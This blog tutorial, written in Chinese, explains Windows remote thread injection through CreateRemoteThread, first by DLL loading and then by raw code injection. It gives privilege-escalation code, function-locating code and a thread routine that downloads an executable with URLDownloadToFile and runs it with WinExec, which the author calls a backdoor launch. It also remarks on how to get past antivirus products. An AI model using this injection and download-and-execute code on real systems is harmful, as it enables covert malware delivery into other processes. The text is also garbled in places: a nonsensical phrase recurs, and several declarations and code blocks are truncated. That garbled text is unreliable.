天天看點

遠端線程注入引出的問題

一、遠端線程注入基本原理

遠端線程注入——相信對Windows底層程式設計和系統安全熟悉的人并不陌生,其主要核心在于一個Windows API函數CreateRemoteThread,通過它可以在另外一個程序中注入一個線程并執行。在提供便利的同時,正是因為如此,使得系統内部出現了安全隐患。常用的注入手段有兩種:一種是遠端的dll的注入,另一種是遠端代碼的注入。後者相對起來更加隐蔽,也更難被殺軟檢測。本文具體實作這兩種操作,在介紹相關API使用的同時,也會解決由此引發的一些問題。

顧名思義,遠端線程注入就是在非本地程序中建立一個新的線程。相比而言,本地建立線程的方法很簡單,系統API函數CreateThread可以在本地建立一個新的線程,其函數聲明如下:

HANDLE WINAPI CreateThread(

    LPSECURITY_ATTRIBUTES lpThreadAttributes,

    SIZE_T dwStackSize,

    LPTHREAD_START_ROUTINE lpStartAddress,

    LPVOID lpParameter,

    DWORD dwCreationFlags,

    PDWORD lpThreadId

    );

這裡最關心的兩個參數是lpStartAddress和lpParameter,它們分别代表線程函數的入口和參數,其他參數一般設定為0即可。由于參數的類型是LPVOID,是以傳入的參數資料需要使用者自己定義,而入口函數位址類型必須是LPTHREAD_START_ROUTINE類型。LPTHREAD_START_ROUTINE類型定義為:

typedef DWORD (WINAPI *PTHREAD_START_ROUTINE)(LPVOID lpThreadParameter);

typedef PTHREAD_START_ROUTINE LPTHREAD_START_ROUTINE;

    按照上述定義聲明的函數都可以作為線程函數的入口,和CreateThread類似,CreateRemoteThread的聲明如下: 

HANDLE WINAPI CreateRemoteThread(

    HANDLE hProcess,

    LPDWORD lpThreadId

    可見該函數就是比CreateThread多了一個參數用于傳遞遠端程序的打開句柄,而我們知道打開一個程序需要函數OpenProcess,其函數聲明為:

HANDLE WINAPI OpenProcess(

    DWORD dwDesiredAccess,

    BOOL bInheritHandle,

    DWORD dwProcessId

    第一個參數表示打開程序所要的通路權限,一般使用PROCESS_ALL_ACCESS來獲得所有權限,第二個參數表示程序的繼承屬性,這裡設定為false,最關鍵的參數是第三個參數——程序的ID。是以在此之前必須獲得程序名字和PID的對應關系,TlHelp32.h庫内提供的函數CreateToolhelp32Snapshot、Process32First、Process32Next提供了對目前程序的周遊通路,使用這裡有段公用代碼可以使用:

//擷取程序name的ID

DWORD getPid(LPTSTR name)

{

    HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//擷取程序快照句柄

    assert(hProcSnap!=INVALID_HANDLE_VALUE);

    PROCESSENTRY32 pe32;

    pe32.dwSize=sizeof(PROCESSENTRY32);

    BOOL flag=Process32First(hProcSnap,&pe32);//擷取清單的第一個程序

    while(flag)

    {

        if(!_tcscmp(pe32.szExeFile,name))

        {

            CloseHandle(hProcSnap);

            return pe32.th32ProcessID;//pid

        }

        flag=Process32Next(hProcSnap,&pe32);//擷取下一個程序

    }

    CloseHandle(hProcSnap);

    return 0;

}

    是以,按照以上的方式,使用getpid擷取指定名稱程序pid,傳入OpenProcess打開程序擷取程序句柄。但是你會發現這時候程序是無法打開的,或者說程序不能以完全通路的權限打開,是以必須提高本地程式的權限,這是遠端注入線程引發的第一個問題,這裡也有一段通用代碼:

//提升程序權限

int EnableDebugPrivilege(const LPTSTR name)

    HANDLE token;

    TOKEN_PRIVILEGES tp;

    //打開程序令牌環

    if(!OpenProcessToken(GetCurrentProcess(),

        TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&token))

        cout<<"open process token error!\n";

        return 0;

    //獲得程序本地唯一ID

    LUID luid;

    if(!LookupPrivilegeValue(NULL,name,&luid))

        cout<<"lookup privilege value error!\n";

    tp.PrivilegeCount=1;

    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

    tp.Privileges[0].Luid=luid;

    //調整程序權限

    if(!AdjustTokenPrivileges(token,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))

        cout<<"adjust token privilege error!\n";

    return 1;

通過調用EnableDebugPrivilege(SE_DEBUG_NAME)提高本地程式權限後就可以打開系統程序了。然後傳入程序句柄到CreateRemoteThread注入遠端程序,但是遺憾的是遠端線程無法運作,這裡就引發了第二個問題。CreateRemoteThread和CreateThread并不僅僅是多了一個程序句柄參數那麼簡單,其中更大的差別是它們的函數入口和參數的差別。CreateThread是建立本地線程,函數入口位址和參數都在本地程序,這很好了解,但是CreateRemoteThread建立的是其他程序的線程,它的入口位址和參數就該在其他程序中。如果強行把本地位址和參數傳入,雖然編譯上能通過,但是運作時侯被注入的程序會查找和本地程序相同值的位址和參數位址,當然結果可想而知,這就像拿着一号較高價的電梯大廈201的鑰匙去開二号較高價的電梯大廈201的門一樣。(或許在這裡讀者會有這個想法,可不可以遠端注入本地程序呢?雖然這麼做沒什麼意義,希望有興趣的讀者可以試一試,看看能否成功。)

既然這樣,那麼如何告訴遠端線程需要執行的代碼和位址呢?繼續上邊那個例子,假設在一号較高價的電梯大廈201房間内可以使用高功率電器,但是一号較高價的電梯大廈檢查嚴格,一旦有此情況立馬被禁止。而二号較高價的電梯大廈戒備很松,是以有人想辦法在二号較高價的電梯大廈新準備一個空的房間專門使用高功率電器,這樣即回避了檢查,也達到了目的。這裡一号較高價的電梯大廈相當于本地程序,二号較高價的電梯大廈相當于系統程序,使用高功率電器相當于黑客的行為,準備新的房間相當于開辟新的存儲空間,禁止使用高功率電器相當于殺軟的清除。那麼這裡就需要關心如何在二号較高價的電梯大廈建立一個房間,這裡系統有兩個API函數VirtualAllocEx和WriteProcessMemory,顧名思義,前者在遠端程序中申請一段記憶體用于存儲資料或者代碼——準備房間,後者在申請的空間内寫入資料或者代碼——準備高功率電器。參看一下他們的聲明就一目了然:

LPVOID WINAPI VirtualAllocEx(

    LPVOID lpAddress,

    SIZE_T dwSize,

    DWORD flAllocationType,

    DWORD flProtect

VirtualAllocEx指定了程序和申請記憶體塊的大小以及記憶體塊的通路權限,并且傳回申請後的記憶體首位址——這個位址是遠端程序中的位址,在本地程序沒有任何意義。一般函數調用形式如下:

char*procAddr=(char*)VirtualAllocEx(hProc,NULL,1024,MEM_COMMIT,PAGE_READWRITE);

這樣就在程序hProc中申請到了一個1024位元組大小的可讀可寫的記憶體塊。

BOOL WINAPI WriteProcessMemory(

    LPVOID lpBaseAddress,

    LPCVOID lpBuffer,

    SIZE_T nSize,

    SIZE_T * lpNumberOfBytesWritten

這個函數和memcpy功能和形式都很類似,本質上就是緩沖區的複制,将資料lpBuffer[nSize]的資料複制到hProcess:lpBaseAddress[nSize]中去。

這樣CreateRemoteThread的參數就很好設定了,線程入口函數位址找不到——申請一段空間放上代碼,傳回代碼首位址;參數位址找不到——申請一段空間放上資料,傳回資料首位址;這樣房間,電器,原料都已齊全了,使用CreateRemoteThread啟動電器就可以加工了!這種思維很合乎邏輯,但是實作起來較為複雜,這是稍後介紹的代碼注入方式。不過在這之前我們需要看一種更簡單的dll注入方式,說起dll我們需要聲明兩點關鍵的内容:

二、遠端線程DLL注入

首先,我們需要知道Win32程式在運作時都會加載一個名為kernel32.dll的檔案,而且Windows預設的是同一個系統中dll的檔案加載位置是固定的。我們又知道dll裡有一系列按序排列的輸出函數,是以這些函數在任何程序的位址空間中的位置是固定的!!!例如本地程序中MessageBox函數的位址和其他任何程序的MessageBox的位址是一樣的。

其次,我們需要知道動态加載dll檔案需要系統API LoadLibraryA或者LoadLibraryW,由于使用MBCS字元集,這裡我們隻關心LoadLibraryA,而這個函數正是kernel32.dll的導出函數!!!是以我們就能在本地程序獲得了LoadLibraryA的位址,然後告訴遠端程序這就是遠端線程入口位址,那麼遠端線程就會自動的執行LoadLibraryA這個函數。這就像我們已經知道二号較高價的電梯大廈和一号較高價的電梯大廈一樣,在201房間都可以使用高功率電器,那何必還要重新造一個新的房間放電器呢。

高功率電器可以搞定,但是即使煮飯也總要有米和水的。函數可以僞造代替,但是參數是不能僞造代替的。是以用前邊的方法,我們申請一個新的房間專門存放糧食,待用到的時候取便是。我們知道LoadLibraryA的參數就是要加載的dll的路徑,為了保險起見,我們把要注入的dll的路徑字元串注入到遠端程序空間中,這樣傳回的位址就是LoadLibraryA的參數字元串的位址,将這兩個位址分别作為入口和參數傳入CreateRemoteThread就可以使得遠端程序加載我們自己的dll了。

說到這裡,或許有人疑問這麼折騰了半天,舉了這麼多例子,僅僅加載了一個自定義dll進去,并沒有做任何“想做”的事情。其實,這裡已經能做基本上任何事情了。是以dll是我們自己寫的,那麼做什麼事情就有我們自己來定,可能有人最疑惑的莫過于如何在加載dll以後立即執行我們真正想執行的代碼。這裡就需要看一下一個簡單DLL工程。

使用VC或者VS建立一個Win32 DLL工程,源代碼可以這麼寫:

BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)

    switch(ul_reason_for_call)

    case DLL_PROCESS_ATTACH://加載時候

        //do something

        break;

    default:

    return TRUE;

看到這個函數相信很多人一目了然了,在switch-case語句的case DLL_PROCESS_ATTACHE條件下就是執行使用者自定義代碼的地方,它執行的時機就是在DLL被任何一個程序加載的時候,這也就解決了第三個使用者代碼啟動的問題,至于寫什麼有你自己決定。其實DLL項目這個主函數不是必須的,因為dll的目的是導出函數,不過這裡我們不用這些知識,感興趣的讀者可以參考其他dll開發資料。

從開始叙述到這裡就是一個DLL遠端注入的所有的細節的描述了,相信讀者通過實驗就可以驗證。但是當你運作的時候你會發現360,金山,瑞星這群殺軟就開始忙活個不停了,不斷的提示你木馬後門的存在,本人強烈建議此時你把它們輕輕的關掉!從這裡也可以看出一個問題,DLL遠端注入的方式已經被多數殺軟主動攔截了,它們會把不可信的dll統統拉為黑名單,作為後門程式處理。這樣不得不讓我們回歸原始,放棄dll回到我們最初的設想——自己注入代碼,這種方式殺軟的提示效果如何呢,我們拭目以待。

三、遠端線程代碼注入

既然使用LoadLibraryA加載DLL執行啟動代碼并不能達到很好的效果,那麼我們就想辦法直接寫代碼直接讓遠端線程執行。

這裡主要關心的就是代碼的問題,因為線程函數參數傳遞方式和dll路徑的方法大同小異,代碼的注入卻和資料的注入有着很多不同。

首先,這是第四個問題,注入代碼如何書寫。通過類比CreateThread的函數入口,我們自然能想到,使用和CreateThread同樣形式的函數定義即可,即形為LPSECURITY_ATTRIBUTES的函數定義。但是這裡最關鍵的不是函數的定義形式,而是函數内部代碼的限制。由于這段代碼,或者叫注入函數,是要“拷貝”到其他程序空間去的,是以這個函數不能使用任何全局變量、不能使用堆空間、不能調用本地定義的函數、不能調用一些庫函數等等。經測試,最保險的方式是:函數使用棧空間的局部變量是沒有問題的,因為彙編代碼将局部變量翻譯為相對位址;函數使用系統的API是沒有問題的,最可靠的是使用kernel32.dll内的函數,萬一使用其他dll庫的函數需要使用kernel32.dll導出函數LoadLibraryA加載對應的dll後,再使用kernel32.dll的導出函數GetProcAddress擷取函數位址,比如MessagBox函數。雖然限制很多,但是足可以寫出功能很強大的代碼,因為Windows的API可以自由的使用!!!

其次,即第五個問題,注入代碼如何定位。定位包含兩層含義:代碼的起始位置和代碼的長度。有人說這個簡單,起始位置就是函數名的值,長度雖然不好确定,就給一個比較大的值就可以了。這個思路是沒有問題的,但是實際上這麼做并不一定成功!問題不在代碼長度上,而是出現在代碼的起始位置。為此我們專門做一個實驗:

我們寫一個最簡單的C程式:

圖1 執行結果

程式很簡單,就是輸出main函數的位址,通過調試我們看到了輸出結果是0x003d1131,但是我們監視main符号的值為0x003d1380!!!如果你也是第一次看到這個情況,相信你也會和我當初一樣驚訝,因為我們一般的思維是符号的值應該和輸出結果是一緻的。為此,我們檢視一下反彙編:

圖2 反彙編

位址0x011513A0出的push指令就是傳遞main符号的值作為printf的參數,而我們看到main函數的起始位址為0x01151380,但是這裡傳遞的值為@ILT+300=0x1151131,而符号名被映射為_main,@ILT和_main是怎麼回事?

圖3 ILT

原來從@ILT+0開始就是一系列的jmp指令,而_main就是一條jmp指令的位址,jmp的目的位址正好是main=0x1151380!這裡我們可以猜測,編譯器為函數定義維護了一張表,名字叫ILT,所有對函數名的直接通路都被映射為修飾後的函數名(一般都是原名字前加上下劃線),在函數位址變化後不需要修改任何對函數調用的指令代碼,隻需要修改這個表就可以了。那麼ILT究竟叫什麼名字呢?上網查一下資料發現它可能叫作Incremental Linking Table(增量連結表),其實名字叫什麼不重要,重要的我們發現當初的結果不一緻是由于編譯器的設定導緻的。後來,我們發現原來這種設定是Debug模式下獨有的,如果将工程設定為Release模式就不會出現這種情況了。

那麼我們如何處理Debug模式下的程式呢,其實方法還是有的。我們觀察ILT中每個跳轉指令的結構,我們發現它們都是相對跳轉指令(就是jmp到相對于下一條指令位址的某個偏移處)。是以我們可以通過對指令的解析計算出main函數的真正位址。

參考_main處的jmp指令,根據指令的二進制含義,我們知道E9是jmp指令的操作碼,其後邊跟着32位的立即數就是相對位址,由于x86是小位元組序的,是以這個相對偏移應該是0x0000024A。_main位置的指令的下一條指令位址為0x01151136,那麼真正的main符号位址=0x01151136+0x0000024A=0x01151380,正好是main函數定義的位置!具體轉化代碼如下:

//将函數位址轉換為真實位址

unsigned int getFunRealAddr(LPVOID fun)

    unsigned int realaddr=(unsigned int)fun;//虛拟函數位址

    // 計算函數真實位址

    unsigned char* funaddr= (unsigned char*)fun;

    if(funaddr[0]==0xE9)// 判斷是否為虛拟函數位址,E9為jmp指令

        int disp=*(int*)(funaddr+1);//擷取跳轉指令的偏移量

        realaddr+=5+disp;//修正為真實函數位址

    return realaddr;

需要注意的是這個轉換函數隻能針對本地定義的函數,如果是系統的庫函數就無能為力了,因為庫函數并沒有存在ILT中。

此處還有一個小細節,我們觀察編譯器在Debug下生成的函數的結尾處會有一連串很長的0xCC資料,即指令int 3,我猜測可能是為了對齊或者防止函數崩潰PC指針跳到非法位置來強制中斷,原因暫時不追究,但是這個特征可以友善我們計算函數的長度——天然的函數結束标記!

計算函數長度的代碼可以這麼寫:

int ProcSize=0;//實際代碼長度,存放線程函數代碼

char*buf=(char*)getFunRealAddr(ThreadProc);

for(char*p=buf;ProcSize<2048;ProcSize++,p++)//掃描到第一組連續的8個int 3指令作為函數結束标記

    if((unsigned long long)*(unsigned long long*)p

            ==0xcccccccccccccccc)//中斷指令int 3

然後,當我們嘗試執行注入的代碼時候,卻總是出現異常。使用OllyDbg調試被注入的程序也的确看到代碼被寫入了指定的位址空間。這時候就需要考慮到記憶體頁的權限了,因為之前使用VirtualAllocEx申請記憶體的屬性是可讀可寫,但是對于存放代碼的記憶體必須設定為可讀可寫可執行才可以!!!這個細節作為第六個小問題。

這裡可以在申請的時候設定:

VirtualAllocEx(rProc,NULL,ProcSize,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

也可以使用函數VirtualProtectEx進行屬性更改:

VirtualProtectEx(rProc,procAddr,ProcSize,PAGE_EXECUTE_READWRITE,&oldAddr);

最後,按照上邊的要求寫出合理的代碼,計算出正确的函數起始位址和大小,然後申請空間存放代碼和參數,設定代碼空間屬性為可執行,使用CreateRemoteThread啟動函數執行,但是還是會出現異常,下邊是觸發異常的代碼。

//線程參數結構

struct RemotePara

    TCHAR url[256];//下載下傳位址

    TCHAR filePath[256];//儲存檔案路徑

    DWORD downAddr;//下載下傳函數的位址

    DWORD execAddr;//執行函數的位址

};

DWORD WINAPI ThreadProc(LPVOID lpara)

    RemotePara*para=(RemotePara*)lpara;

    typedef UINT (WINAPI*winExec)(LPTSTR cmdLine,UINT cmdShow);//定義WinExec函數原型

    typedef UINT (WINAPI*urlDownloadToFile)(LPUNKNOWN caller,LPTSTR url,LPTSTR fileName

        ,DWORD reserved,LPBINDSTATUSCALLBACK sts);//定義URLDownloadToFile函數原型

    urlDownloadToFile download;

    download=(urlDownloadToFile)para->downAddr;//擷取download函數位址

    winExec exe;

    exe=(winExec)para->execAddr;//擷取exe函數位址

    download(0,para->url,para->filePath,0,NULL);//下載下傳檔案

    exe(para->filePath,SW_SHOW);//執行下載下傳的檔案

代碼的含義很明确,參數中傳遞進來了事先已經計算好的API函數URLDownloadToFile和WinExec的位址以及需要的路徑參數,線程函數執行時從指定位址下載下傳exe檔案并執行之,這是一個典型的後門啟動。這裡引出第七個問題,系統總是執行下載下傳後觸發異常,如果删除下載下傳檔案函數的調用,直接執行卻能夠成功,這也就說明該線程函數隻能完成一次API調用。通過大量的分析可以确定這種異常是在函數調用後觸發的,而且導緻了棧的崩潰。這裡依舊檢視反彙編:

圖 4 運作時檢查

我們發現在下載下傳函數被調用結束後編譯器卻調用了一個名為_RTC_CheckEsp的函數,這個函數而且還存在ILT表有映射結構(在ILT偏移520處)。是以它的地位應該和本地定義的函數是相同的,而我們又知道注入代碼是不能調用本地函數的,這就有問題了,因為這段指令call 0xDA120D在另一個程序空間就不知道是什麼了,出現異常是很正常的事情。為了保證程式的正常執行,這裡有兩種做法,由于這個函數在ILT是有對應結構的,那麼如果将項目修改為Release版本,那麼這個檢查應該就會消失了,是不是這樣呢?

圖 5 Release的函數調用

果然在預料之中,Release的優化後的代碼已經很晦澀了,那個奇怪的函數調用就這麼被删除了。或許你和我一樣好奇這個函數存在的意義,通過查閱資料我們發現這個是運作時檢查的函數,透過它的名字可以看出端倪,主要檢查ESP寄存器的值,看來是保護棧的函數,在編譯器設定中是可以關閉這個開關的,這也就為Debug的程式提供了一個删除運作時檢查的方案。

圖 6 運作時檢查設定 

隻要我們把運作時檢查設定為預設值就可以關閉這個開關了。你可以試試切換為Release版本,這個時候這個值也被設定為預設值了。

四、遠端線程注入技術總結

通過以上的介紹和實驗,我們可以總結如下:

遠端線程注入主要目的是通過在系統程序中産生遠端線程執行使用者代碼,而通過這種方式可以很好的實作本地程序的“隐藏”——其實不存在本地程序,因為注入線程後本地程序結束。

使用DLL的注入的方式比較簡單,使用者功能在DLL中實作,但很容易被殺軟作為後門程式清除,隐蔽性比較差。

使用代碼注入方式比較複雜,考慮的問題較多,比如代碼頁屬性,代碼位置和大小和代碼的編寫格式等。但是經實驗測試發現,除了WinExec這樣的敏感API被殺軟攔截外,一般的不太敏感的危險操作,比如下載下傳,都會正常的執行,這也給惡意使用者有了可乘之機。

當然,遠端注入并非是黑客的專利,使用這種技術本身就是很好的程序間控制的一種方式,技術有利有弊,在它給使用者帶來友善的同時也增添了潛在的風險,希望本文對你有所幫助。

作者:

Florian

本文版權歸作者和部落格園共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連結,否則作者保留追究法律責任的權利。  若本文對你有所幫助,您的關注和推薦是我們分享知識的動力!